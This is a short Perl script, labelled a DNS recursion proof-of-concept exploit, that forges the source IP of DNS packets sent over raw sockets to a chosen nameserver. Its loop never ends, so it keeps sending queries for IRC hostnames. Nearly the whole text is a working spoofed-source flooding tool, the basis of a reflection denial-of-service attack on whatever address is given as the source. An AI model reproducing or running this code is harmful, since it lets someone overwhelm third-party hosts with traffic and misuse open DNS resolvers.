DNS recursion proof of concept exploit. Written in Perl.
b9c347e3e27df568b53b8cd63e6283d6aecf0aa169a324c1f652ea0e220f994f
#!/usr/bin/perl
# Get Net::RawIP at
https://search.cpan.org/CPAN/authors/id/S/SZ/SZABGAB/Net-RawIP-0.21_01.tar.gz
# cpan Net::DNS:Resolver seems to work fine on each machine I throw it
on, as well.
# PS: To see if you can spoof, check out the ANA Spoofer project.
# https://spoofer.csail.mit.edu/
use Net::DNS::Resolver;
use Net::RawIP;
use strict;
if ($ARGV[1] eq '') {
print "Usage: spoofer.pl <Nameserver> <IP>\n";
exit(0);
}
print ("Sending DNS requests to $ARGV[0] with source IP $ARGV[1]...\n");
my $str;
my $name;
my @name = ("irc.efnet.net", "irc.dal.net", "irc.undernet.org",
"irc.freenode.net");
my $src_ip;
for (my $i=0; $i < 256; $i++) {
if ($i>1) { # Make new string
$str = @name[int rand(3)];
$i = 0;
}
$src_ip = $ARGV[1];
# Make DNS packet
my $dnspacket = new Net::DNS::Packet($str, "A", "IN");
my $dnsdata = $dnspacket->data;
my $sock = new Net::RawIP({udp=>{}});
# send packet
$sock->set({ip => {
saddr => $src_ip, daddr => "$ARGV[0]",
frag_off=>0,tos=>0,id=>1565},
udp => {source => 53,
dest => 53, data=>$dnsdata
} });
$sock->send;
}
exit(0);